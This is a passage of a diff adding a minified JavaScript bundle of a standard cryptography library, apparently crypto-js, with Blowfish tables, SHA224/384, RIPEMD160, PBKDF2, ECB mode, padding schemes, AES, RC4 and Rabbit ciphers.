1414112111, 2273134842, 3281911079, 4080962846, 172450625, 2569994100, 980381355, 4109958455, 2819808352, 2716589560, 2568741196, 3681446669, 3329971472, 1835478071, 660984891, 3704678404, 4045999559, 3422617507, 3040415634, 1762651403, 1719377915, 3470491036, 2693910283, 3642056355, 3138596744, 1364962596, 2073328063, 1983633131, 926494387, 3423689081, 2150032023, 4096667949, 1749200295, 3328846651, 309677260, 2016342300, 1779581495, 3079819751, 111262694, 1274766160, 443224088, 298511866, 1025883608, 3806446537, 1145181785, 168956806, 3641502830, 3584813610, 1689216846, 3666258015, 3200248200, 1692713982, 2646376535, 4042768518, 1618508792, 1610833997, 3523052358, 4130873264, 2001055236, 3610705100, 2202168115, 4028541809, 2961195399, 1006657119, 2006996926, 3186142756, 1430667929, 3210227297, 1314452623, 4074634658, 4101304120, 2273951170, 1399257539, 3367210612, 3027628629, 1190975929, 2062231137, 2333990788, 2221543033, 2438960610, 1181637006, 548689776, 2362791313, 3372408396, 3104550113, 3145860560, 296247880, 1970579870, 3078560182, 3769228297, 1714227617, 3291629107, 3898220290, 166772364, 1251581989, 493813264, 448347421, 195405023, 2709975567, 677966185, 3703036547, 1463355134, 2715995803, 1338867538, 1343315457, 2802222074, 2684532164, 233230375, 2599980071, 2000651841, 3277868038, 1638401717, 4028070440, 3237316320, 6314154, 819756386, 300326615, 590932579, 1405279636, 3267499572, 3150704214, 2428286686, 3959192993, 3461946742, 1862657033, 1266418056, 963775037, 2089974820, 2263052895, 1917689273, 448879540, 3550394620, 3981727096, 150775221, 3627908307, 1303187396, 508620638, 2975983352, 2726630617, 1817252668, 1876281319, 1457606340, 908771278, 3720792119, 3617206836, 2455994898, 1729034894, 1080033504], + [976866871, 3556439503, 2881648439, 1522871579, 1555064734, 1336096578, 3548522304, 2579274686, 3574697629, 3205460757, 3593280638, 3338716283, 3079412587, 564236357, 2993598910, 1781952180, 1464380207, 3163844217, 3332601554, 1699332808, 1393555694, 1183702653, 3581086237, 1288719814, 691649499, 2847557200, 2895455976, 3193889540, 2717570544, 1781354906, 1676643554, 2592534050, 3230253752, 1126444790, 2770207658, 2633158820, 2210423226, 2615765581, 2414155088, 3127139286, 673620729, 2805611233, 1269405062, 4015350505, 3341807571, 4149409754, 1057255273, 2012875353, 2162469141, 2276492801, 2601117357, 993977747, 3918593370, 2654263191, 753973209, 36408145, 2530585658, 25011837, 3520020182, 2088578344, 530523599, 2918365339, 1524020338, 1518925132, 3760827505, 3759777254, 1202760957, 3985898139, 3906192525, 674977740, 4174734889, 2031300136, 2019492241, 3983892565, 4153806404, 3822280332, 352677332, 2297720250, 60907813, 90501309, 3286998549, 1016092578, 2535922412, 2839152426, 457141659, 509813237, 4120667899, 652014361, 1966332200, 2975202805, 55981186, 2327461051, 676427537, 3255491064, 2882294119, 3433927263, 1307055953, 942726286, 933058658, 2468411793, 3933900994, 4215176142, 1361170020, 2001714738, 2830558078, 3274259782, 1222529897, 1679025792, 2729314320, 3714953764, 1770335741, 151462246, 3013232138, 1682292957, 1483529935, 471910574, 1539241949, 458788160, 3436315007, 1807016891, 3718408830, 978976581, 1043663428, 3165965781, 1927990952, 4200891579, 2372276910, 3208408903, 3533431907, 1412390302, 2931980059, 4132332400, 1947078029, 3881505623, 4168226417, 2941484381, 1077988104, 1320477388, 886195818, 18198404, 3786409e3, 2509781533, 112762804, 3463356488, 1866414978, 891333506, 18488651, 661792760, 1628790961, 3885187036, 3141171499, 876946877, 2693282273, 1372485963, 791857591, 2686433993, 3759982718, 3167212022, 3472953795, 2716379847, 445679433, 3561995674, 3504004811, 3574258232, 54117162, 3331405415, 2381918588, 3769707343, 4154350007, 1140177722, 4074052095, 668550556, 3214352940, 367459370, 261225585, 2610173221, 4209349473, 3468074219, 3265815641, 314222801, 3066103646, 3808782860, 282218597, 3406013506, 3773591054, 379116347, 1285071038, 846784868, 2669647154, 3771962079, 3550491691, 2305946142, 453669953, 1268987020, 3317592352, 3279303384, 3744833421, 2610507566, 3859509063, 266596637, 3847019092, 517658769, 3462560207, 3443424879, 370717030, 4247526661, 2224018117, 4143653529, 4112773975, 2788324899, 2477274417, 1456262402, 2901442914, 1517677493, 1846949527, 2295493580, 3734397586, 2176403920, 1280348187, 1908823572, 3871786941, 846861322, 1172426758, 3287448474, 3383383037, 1655181056, 3139813346, 901632758, 1897031941, 2986607138, 3066810236, 3447102507, 1393639104, 373351379, 950779232, 625454576, 3124240540, 4148612726, 2007998917, 544563296, 2244738638, 2330496472, 2058025392, 1291430526, 424198748, 50039436, 29584100, 3605783033, 2429876329, 2791104160, 1057563949, 3255363231, 3075367218, 3463963227, 1469046755, 985887462] + ]; + var a = { + pbox: [], + sbox: [] + }; + + function c(e, t) { + let r = t >> 24 & 255, + o = t >> 16 & 255, + n = t >> 8 & 255, + i = 255 & t, + s = e.sbox[0][r] + e.sbox[1][o]; + return s ^= e.sbox[2][n], s += e.sbox[3][i], s + } + + function u(e, t, r) { + let o, i = t, + s = r; + for (let t = 0; t < n; ++t) i ^= e.pbox[t], s = c(e, i) ^ s, o = i, i = s, s = o; + return o = i, i = s, s = o, s ^= e.pbox[n], i ^= e.pbox[n + 1], { + left: i, + right: s + } + } + + function l(e, t, r) { + let o, i = t, + s = r; + for (let t = n + 1; t > 1; --t) i ^= e.pbox[t], s = c(e, i) ^ s, o = i, i = s, s = o; + return o = i, i = s, s = o, s ^= e.pbox[1], i ^= e.pbox[0], { + left: i, + right: s + } + } + + function h(e, t, r) { + for (let t = 0; t < 4; t++) { + e.sbox[t] = []; + for (let r = 0; r < 256; r++) e.sbox[t][r] = s[t][r] + } + let o = 0; + for (let s = 0; s < n + 2; s++) e.pbox[s] = i[s] ^ t[o], o++, o >= r && (o = 0); + let a = 0, + c = 0, + l = 0; + for (let t = 0; t < n + 2; t += 2) l = u(e, a, c), a = l.left, c = l.right, e.pbox[t] = a, e.pbox[t + 1] = c; + for (let t = 0; t < 4; t++) + for (let r = 0; r < 256; r += 2) l = u(e, a, c), a = l.left, c = l.right, e.sbox[t][r] = a, e.sbox[t][r + 1] = c; + return !0 + } + var d = o.Blowfish = r.extend({ + _doReset: function() { + if (this._keyPriorReset !== this._key) { + var e = this._keyPriorReset = this._key, + t = e.words, + r = e.sigBytes / 4; + h(a, t, r) + } + }, + encryptBlock: function(e, t) { + var r = u(a, e[t], e[t + 1]); + e[t] = r.left, e[t + 1] = r.right + }, + decryptBlock: function(e, t) { + var r = l(a, e[t], e[t + 1]); + e[t] = r.left, e[t + 1] = r.right + }, + blockSize: 2, + keySize: 4, + ivSize: 2 + }); + t.Blowfish = r._createHelper(d) + }(), e.Blowfish + }(v(), $(), j(), ce(), he())), Ge.exports +} +y.exports = function(e) { + return e +}(v(), k(), S(), T(), $(), D(), j(), N(), L(), q || (q = 1, U.exports = function(e) { + return r = (t = e).lib.WordArray, o = t.algo, n = o.SHA256, i = o.SHA224 = n.extend({ + _doReset: function() { + this._hash = new r.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) + }, + _doFinalize: function() { + var e = n._doFinalize.call(this); + return e.sigBytes -= 4, e + } + }), t.SHA224 = n._createHelper(i), t.HmacSHA224 = n._createHmacHelper(i), e.SHA224; + var t, r, o, n, i +}(v(), L())), X(), K || (K = 1, V.exports = function(e) { + return r = (t = e).x64, o = r.Word, n = r.WordArray, i = t.algo, s = i.SHA512, a = i.SHA384 = s.extend({ + _doReset: function() { + this._hash = new n.init([new o.init(3418070365, 3238371032), new o.init(1654270250, 914150663), new o.init(2438529370, 812702999), new o.init(355462360, 4144912697), new o.init(1731405415, 4290775857), new o.init(2394180231, 1750603025), new o.init(3675008525, 1694076839), new o.init(1203062813, 3204075428)]) + }, + _doFinalize: function() { + var e = s._doFinalize.call(this); + return e.sigBytes -= 16, e + } + }), t.SHA384 = s._createHelper(a), t.HmacSHA384 = s._createHmacHelper(a), e.SHA384; + var t, r, o, n, i, s, a +}(v(), k(), X())), Z(), Y || (Y = 1, ee.exports = function(e) { + /** @preserve + (c) 2012 by Cédric Mesnil. All rights reserved. + + Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + return function() { + var t = e, + r = t.lib, + o = r.WordArray, + n = r.Hasher, + i = t.algo, + s = o.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), + a = o.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), + c = o.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), + u = o.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), + l = o.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), + h = o.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), + d = i.RIPEMD160 = n.extend({ + _doReset: function() { + this._hash = o.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function(e, t) { + for (var r = 0; r < 16; r++) { + var o = t + r, + n = e[o]; + e[o] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) + } + var i, d, b, w, k, _, x, S, B, A, T, C = this._hash.words, + E = l.words, + $ = h.words, + R = s.words, + z = a.words, + D = c.words, + H = u.words; + for (_ = i = C[0], x = d = C[1], S = b = C[2], B = w = C[3], A = k = C[4], r = 0; r < 80; r += 1) T = i + e[t + R[r]] | 0, T += r < 16 ? f(d, b, w) + E[0] : r < 32 ? p(d, b, w) + E[1] : r < 48 ? y(d, b, w) + E[2] : r < 64 ? g(d, b, w) + E[3] : m(d, b, w) + E[4], T = (T = v(T |= 0, D[r])) + k | 0, i = k, k = w, w = v(b, 10), b = d, d = T, T = _ + e[t + z[r]] | 0, T += r < 16 ? m(x, S, B) + $[0] : r < 32 ? g(x, S, B) + $[1] : r < 48 ? y(x, S, B) + $[2] : r < 64 ? p(x, S, B) + $[3] : f(x, S, B) + $[4], T = (T = v(T |= 0, H[r])) + A | 0, _ = A, A = B, B = v(S, 10), S = x, x = T; + T = C[1] + b + B | 0, C[1] = C[2] + w + A | 0, C[2] = C[3] + k + _ | 0, C[3] = C[4] + i + x | 0, C[4] = C[0] + d + S | 0, C[0] = T + }, + _doFinalize: function() { + var e = this._data, + t = e.words, + r = 8 * this._nDataBytes, + o = 8 * e.sigBytes; + t[o >>> 5] |= 128 << 24 - o % 32, t[14 + (o + 64 >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), e.sigBytes = 4 * (t.length + 1), this._process(); + for (var n = this._hash, i = n.words, s = 0; s < 5; s++) { + var a = i[s]; + i[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) + } + return n + }, + clone: function() { + var e = n.clone.call(this); + return e._hash = this._hash.clone(), e + } + }); + + function f(e, t, r) { + return e ^ t ^ r + } + + function p(e, t, r) { + return e & t | ~e & r + } + + function y(e, t, r) { + return (e | ~t) ^ r + } + + function g(e, t, r) { + return e & r | t & ~r + } + + function m(e, t, r) { + return e ^ (t | ~r) + } + + function v(e, t) { + return e << t | e >>> 32 - t + } + t.RIPEMD160 = n._createHelper(d), t.HmacRIPEMD160 = n._createHmacHelper(d) + }(), e.RIPEMD160 +}(v())), oe(), ne || (ne = 1, ie.exports = function(e) { + return o = (r = (t = e).lib).Base, n = r.WordArray, s = (i = t.algo).SHA256, a = i.HMAC, c = i.PBKDF2 = o.extend({ + cfg: o.extend({ + keySize: 4, + hasher: s, + iterations: 25e4 + }), + init: function(e) { + this.cfg = this.cfg.extend(e) + }, + compute: function(e, t) { + for (var r = this.cfg, o = a.create(r.hasher, e), i = n.create(), s = n.create([1]), c = i.words, u = s.words, l = r.keySize, h = r.iterations; c.length < l;) { + var d = o.update(t).finalize(s); + o.reset(); + for (var f = d.words, p = f.length, y = d, g = 1; g < h; g++) { + y = o.finalize(y), o.reset(); + for (var m = y.words, v = 0; v < p; v++) f[v] ^= m[v] + } + i.concat(d), u[0]++ + } + return i.sigBytes = 4 * l, i + } + }), t.PBKDF2 = function(e, t, r) { + return c.create(r).compute(e, t) + }, e.PBKDF2; + var t, r, o, n, i, s, a, c +}(v(), L(), oe())), ce(), he(), pe(), me(), we(), xe(), Se || (Se = 1, Be.exports = function(e) { + return e.mode.ECB = ((t = e.lib.BlockCipherMode.extend()).Encryptor = t.extend({ + processBlock: function(e, t) { + this._cipher.encryptBlock(e, t) + } + }), t.Decryptor = t.extend({ + processBlock: function(e, t) { + this._cipher.decryptBlock(e, t) + } + }), t), e.mode.ECB; + var t +}(v(), he())), Ae || (Ae = 1, Te.exports = function(e) { + return e.pad.AnsiX923 = { + pad: function(e, t) { + var r = e.sigBytes, + o = 4 * t, + n = o - r % o, + i = r + n - 1; + e.clamp(), e.words[i >>> 2] |= n << 24 - i % 4 * 8, e.sigBytes += n + }, + unpad: function(e) { + var t = 255 & e.words[e.sigBytes - 1 >>> 2]; + e.sigBytes -= t + } + }, e.pad.Ansix923 +}(v(), he())), Ce || (Ce = 1, Ee.exports = function(e) { + return e.pad.Iso10126 = { + pad: function(t, r) { + var o = 4 * r, + n = o - t.sigBytes % o; + t.concat(e.lib.WordArray.random(n - 1)).concat(e.lib.WordArray.create([n << 24], 1)) + }, + unpad: function(e) { + var t = 255 & e.words[e.sigBytes - 1 >>> 2]; + e.sigBytes -= t + } + }, e.pad.Iso10126 +}(v(), he())), $e || ($e = 1, Re.exports = function(e) { + return e.pad.Iso97971 = { + pad: function(t, r) { + t.concat(e.lib.WordArray.create([2147483648], 1)), e.pad.ZeroPadding.pad(t, r) + }, + unpad: function(t) { + e.pad.ZeroPadding.unpad(t), t.sigBytes-- + } + }, e.pad.Iso97971 +}(v(), he())), ze || (ze = 1, De.exports = function(e) { + return e.pad.ZeroPadding = { + pad: function(e, t) { + var r = 4 * t; + e.clamp(), e.sigBytes += r - (e.sigBytes % r || r) + }, + unpad: function(e) { + var t = e.words, + r = e.sigBytes - 1; + for (r = e.sigBytes - 1; r >= 0; r--) + if (t[r >>> 2] >>> 24 - r % 4 * 8 & 255) { + e.sigBytes = r + 1; + break + } + } + }, e.pad.ZeroPadding +}(v(), he())), He || (He = 1, Me.exports = function(e) { + return e.pad.NoPadding = { + pad: function() {}, + unpad: function() {} + }, e.pad.NoPadding +}(v(), he())), je || (je = 1, Ie.exports = function(e) { + return r = (t = e).lib.CipherParams, o = t.enc.Hex, t.format.Hex = { + stringify: function(e) { + return e.ciphertext.toString(o) + }, + parse: function(e) { + var t = o.parse(e); + return r.create({ + ciphertext: t + }) + } + }, e.format.Hex; + var t, r, o +}(v(), he())), Fe || (Fe = 1, Ne.exports = function(e) { + return function() { + var t = e, + r = t.lib.BlockCipher, + o = t.algo, + n = [], + i = [], + s = [], + a = [], + c = [], + u = [], + l = [], + h = [], + d = [], + f = []; + ! function() { + for (var e = [], t = 0; t < 256; t++) e[t] = t < 128 ? t << 1 : t << 1 ^ 283; + var r = 0, + o = 0; + for (t = 0; t < 256; t++) { + var p = o ^ o << 1 ^ o << 2 ^ o << 3 ^ o << 4; + p = p >>> 8 ^ 255 & p ^ 99, n[r] = p, i[p] = r; + var y = e[r], + g = e[y], + m = e[g], + v = 257 * e[p] ^ 16843008 * p; + s[r] = v << 24 | v >>> 8, a[r] = v << 16 | v >>> 16, c[r] = v << 8 | v >>> 24, u[r] = v, v = 16843009 * m ^ 65537 * g ^ 257 * y ^ 16843008 * r, l[p] = v << 24 | v >>> 8, h[p] = v << 16 | v >>> 16, d[p] = v << 8 | v >>> 24, f[p] = v, r ? (r = y ^ e[e[e[m ^ y]]], o ^= e[e[o]]) : r = o = 1 + } + }(); + var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], + y = o.AES = r.extend({ + _doReset: function() { + if (!this._nRounds || this._keyPriorReset !== this._key) { + for (var e = this._keyPriorReset = this._key, t = e.words, r = e.sigBytes / 4, o = 4 * ((this._nRounds = r + 6) + 1), i = this._keySchedule = [], s = 0; s < o; s++) s < r ? i[s] = t[s] : (u = i[s - 1], s % r ? r > 6 && s % r == 4 && (u = n[u >>> 24] << 24 | n[u >>> 16 & 255] << 16 | n[u >>> 8 & 255] << 8 | n[255 & u]) : (u = n[(u = u << 8 | u >>> 24) >>> 24] << 24 | n[u >>> 16 & 255] << 16 | n[u >>> 8 & 255] << 8 | n[255 & u], u ^= p[s / r | 0] << 24), i[s] = i[s - r] ^ u); + for (var a = this._invKeySchedule = [], c = 0; c < o; c++) { + if (s = o - c, c % 4) var u = i[s]; + else u = i[s - 4]; + a[c] = c < 4 || s <= 4 ? u : l[n[u >>> 24]] ^ h[n[u >>> 16 & 255]] ^ d[n[u >>> 8 & 255]] ^ f[n[255 & u]] + } + } + }, + encryptBlock: function(e, t) { + this._doCryptBlock(e, t, this._keySchedule, s, a, c, u, n) + }, + decryptBlock: function(e, t) { + var r = e[t + 1]; + e[t + 1] = e[t + 3], e[t + 3] = r, this._doCryptBlock(e, t, this._invKeySchedule, l, h, d, f, i), r = e[t + 1], e[t + 1] = e[t + 3], e[t + 3] = r + }, + _doCryptBlock: function(e, t, r, o, n, i, s, a) { + for (var c = this._nRounds, u = e[t] ^ r[0], l = e[t + 1] ^ r[1], h = e[t + 2] ^ r[2], d = e[t + 3] ^ r[3], f = 4, p = 1; p < c; p++) { + var y = o[u >>> 24] ^ n[l >>> 16 & 255] ^ i[h >>> 8 & 255] ^ s[255 & d] ^ r[f++], + g = o[l >>> 24] ^ n[h >>> 16 & 255] ^ i[d >>> 8 & 255] ^ s[255 & u] ^ r[f++], + m = o[h >>> 24] ^ n[d >>> 16 & 255] ^ i[u >>> 8 & 255] ^ s[255 & l] ^ r[f++], + v = o[d >>> 24] ^ n[u >>> 16 & 255] ^ i[l >>> 8 & 255] ^ s[255 & h] ^ r[f++]; + u = y, l = g, h = m, d = v + } + y = (a[u >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & d]) ^ r[f++], g = (a[l >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[d >>> 8 & 255] << 8 | a[255 & u]) ^ r[f++], m = (a[h >>> 24] << 24 | a[d >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & l]) ^ r[f++], v = (a[d >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & h]) ^ r[f++], e[t] = y, e[t + 1] = g, e[t + 2] = m, e[t + 3] = v + }, + keySize: 8 + }); + t.AES = r._createHelper(y) + }(), e.AES +}(v(), $(), j(), ce(), he())), Le(), qe || (qe = 1, Ue.exports = function(e) { + return function() { + var t = e, + r = t.lib.StreamCipher, + o = t.algo, + n = o.RC4 = r.extend({ + _doReset: function() { + for (var e = this._key, t = e.words, r = e.sigBytes, o = this._S = [], n = 0; n < 256; n++) o[n] = n; + n = 0; + for (var i = 0; n < 256; n++) { + var s = n % r, + a = t[s >>> 2] >>> 24 - s % 4 * 8 & 255; + i = (i + o[n] + a) % 256; + var c = o[n]; + o[n] = o[i], o[i] = c + } + this._i = this._j = 0 + }, + _doProcessBlock: function(e, t) { + e[t] ^= i.call(this) + }, + keySize: 8, + ivSize: 0 + }); + + function i() { + for (var e = this._S, t = this._i, r = this._j, o = 0, n = 0; n < 4; n++) { + r = (r + e[t = (t + 1) % 256]) % 256; + var i = e[t]; + e[t] = e[r], e[r] = i, o |= e[(e[t] + e[r]) % 256] << 24 - 8 * n + } + return this._i = t, this._j = r, o + } + t.RC4 = r._createHelper(n); + var s = o.RC4Drop = n.extend({ + cfg: n.cfg.extend({ + drop: 192 + }), + _doReset: function() { + n._doReset.call(this); + for (var e = this.cfg.drop; e > 0; e--) i.call(this) + } + }); + t.RC4Drop = r._createHelper(s) + }(), e.RC4 +}(v(), $(), j(), ce(), he())), We || (We = 1, Je.exports = function(e) { + return function() { + var t = e, + r = t.lib.StreamCipher, + o = t.algo, + n = [], + i = [], + s = [], + a = o.Rabbit = r.extend({ + _doReset: function() { + for (var e = this._key.words, t = this.cfg.iv, r = 0; r < 4; r++) e[r] = 16711935 & (e[r] << 8 | e[r] >>> 24) | 4278255360 & (e[r] << 24 | e[r] >>> 8); + var o = this._X = [e[0], e[3] << 16 | e[2] >>> 16, e[1], e[0] << 16 | e[3] >>> 16, e[2], e[1] << 16 | e[0] >>> 16, e[3], e[2] << 16 | e[1] >>> 16], + n = this._C = [e[2] << 16 | e[2] >>> 16, 4294901760 & e[0] | 65535 & e[1], e[3] << 16 | e[3] >>> 16, 4294901760 & e[1] | 65535 & e[2], e[0] << 16 | e[0] >>> 16, 4294901760 & e[2] | 65535 & e[3], e[1] << 16 | e[1] >>> 16, 4294901760 & e[3] | 65535 & e[0]]; + for (this._b = 0, r = 0; r < 4; r++) c.call(this); + for (r = 0; r < 8; r++) n[r] ^= o[r + 4 & 7]; + if (t) { + var i = t.words, + s = i[0], + a = i[1], + u = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), + l = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), + h = u >>> 16 | 4294901760 & l, + d = l << 16 | 65535 & u; + for (n[0] ^= u, n[1] ^= h, n[2] ^= l, n[3] ^= d, n[4] ^= u, n[5] ^= h, n[6] ^= l, n[7] ^= d, r = 0; r < 4; r++) c.call(this) + } + }, + _doProcessBlock: function(e, t) { + var r = this._X; + c.call(this), n[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, n[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, n[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, n[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; + for (var o = 0; o < 4; o++) n[o] = 16711935 & (n[o] << 8 | n[o] >>> 24) | 4278255360 & (n[o] << 24 | n[o] >>> 8), e[t + o] ^= n[o] + }, + blockSize: 4, + ivSize: 2 + }); + + function c() { + for (var e = this._X, t = this._C, r = 0; r < 8; r++) i[r] = t[r]; + for (t[0] = t[0] + 1295307597 + this._b | 0, t[1] = t[1] + 3545052371 + (t[0] >>> 0 < i[0] >>> 0 ? 1 : 0) | 0, t[2] = t[2] + 886263092 + (t[1] >>> 0 < i[1] >>> 0 ? 1 : 0) | 0, t[3] = t[3] + 1295307597 + (t[2] >>> 0 < i[2] >>> 0 ? 1 : 0) | 0, t[4] = t[4] + 3545052371 + (t[3] >>> 0 < i[3] >>> 0 ? 1 : 0) | 0, t[5] = t[5] + 886263092 + (t[4] >>> 0 < i[4] >>> 0 ? 1 : 0) | 0, t[6] = t[6] + 1295307597 + (t[5] >>> 0 < i[5] >>> 0 ? 1 : 0) | 0, t[7] = t[7] + 3545052371 + (t[6] >>> 0 < i[6] >>> 0 ? 1 : 0) | 0, this._b = t[7] >>> 0 < i[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) { + var o = e[r] + t[r], + n = 65535 & o, + a = o >>> 16, + c = ((n * n >>> 17) + n * a >>> 15) + a * a, + u = ((4294901760 & o) * o | 0) + ((65535 & o) * o | 0); + s[r] = c ^ u + } + e[0] = s[0] + (s[7] << 16 | s[7] >>> 16) + (s[6] << 16 | s[6] >>> 16) | 0, e[1] = s[1] + (s[0] << 8 | s[0] >>> 24) + s[7] | 0, e[2] = s[2] + (s[1] << 16 | s[1] >>> 16) + (s[0] << 16 | s[0] >>> 16) | 0, e[3] = s[3] + (s[2] << 8 | s[2] >>> 24) + s[1] | 0, e[4] = s[4] + (s[3] << 16 | s[3] >>> 16) + (s[2] << 16 | s[2] >>> 16) | 0, e[5] = s[5] + (s[4] << 8 | s[4] >>> 24) + s[3] | 0, e[6] = s[6] + (s[5] << 16 | s[5] >>> 16) + (s[4] << 16 | s[4] >>> 16) | 0, e[7] = s[7] + (s[6] << 8 | s[6] >>> 24) + s[5] | 0 + } + t.Rabbit = r._createHelper(a) + }(), e.Rabbit +}(v(), $(), j(), ce(), he())), Xe || (Xe = 1, Ke.exports = function(e) { + return function() { + var t = e, + r = t.lib.StreamCipher, + o = t.algo, + n = [], + i = [], + s = [], + a = o.RabbitLegacy = r.extend({ + _doReset: function() { + var e = this._key.words, + t = this.cfg.iv, + r = this._X = [e[0], e[3] << 16 | e[2] >>> 16, e[1], e[0] << 16 | e[3] >>> 16, e[2], e[1] << 16 | e[0] >>> 16, e[3], e[2] << 16 | e[1] >>> 16], + o = this._C = [e[2] << 16 | e[2] >>> 16, 4294901760 & e[0] | 65535 & e[1], e[3] << 16 | e[3] >>> 16, 4294901760 & e[1] | 65535 & e[2], e[0] << 16 | e[0] >>> 16, 4294901760 & e[2] | 65535 & e[3], e[1] << 16 | e[1] >>> 16, 4294901760 & e[3] | 65535 & e[0]]; + this._b = 0; + for (var n = 0; n < 4; n++) c.call(this); + for (n = 0; n < 8; n++) o[n] ^= r[n + 4 & 7]; + if (t) { + var i = t.words, + s = i[0], + a = i[1], + u = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), + l = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), + h = u >>> 16 | 4294901760 & l, + d = l << 16 | 65535 & u; + for (o[0] ^= u, o[1] ^= h, o[2] ^= l, o[3] ^= d, o[4] ^= u, o[5] ^= h, o[6] ^= l, o[7] ^= d, n = 0; n < 4; n++) c.call(this) + } + }, + _doProcessBlock: function(e, t) { + var r = this._X; + c.call(this), n[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, n[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, n[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, n[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; + for (var o = 0; o < 4; o++) n[o] = 16711935 & (n[o] << 8 | n[o] >>> 24) | 4278255360 & (n[o] << 24 | n[o] >>> 8), e[t + o] ^= n[o] + }, + blockSize: 4, + ivSize: 2 + }); + + function c() { + for (var e = this._X, t = this._C, r = 0; r < 8; r++) i[r] = t[r]; + for (t[0] = t[0] + 1295307597 + this._b | 0, t[1] = t[1] + 3545052371 + (t[0] >>> 0 < i[0] >>> 0 ? 1 : 0) | 0, t[2] = t[2] + 886263092 + (t[1] >>> 0 < i[1] >>> 0 ? 1 : 0) | 0, t[3] = t[3] + 1295307597 + (t[2] >>> 0 < i[2] >>> 0 ? 1 : 0) | 0, t[4] = t[4] + 3545052371 + (t[3] >>> 0 < i[3] >>> 0 ? 1 : 0) | 0, t[5] = t[5] + 886263092 + (t[4] >>> 0 < i[4] >>> 0 ? 1 : 0) | 0, t[6] = t[6] + 1295307597 + (t[5] >>> 0 < i[5] >>> 0 ? 1 : 0) | 0, t[7] = t[7] + 3545052371 + (t[6] >>> 0 < i[6] >>> 0 ? 1 : 0) | 0, this._b = t[7] >>> 0 < i[7] >>> 0 ? 1 : 0, r = 0; r < 8; r++) { + var o = e[r] + t[r], + n = 65535 & o, + a = o 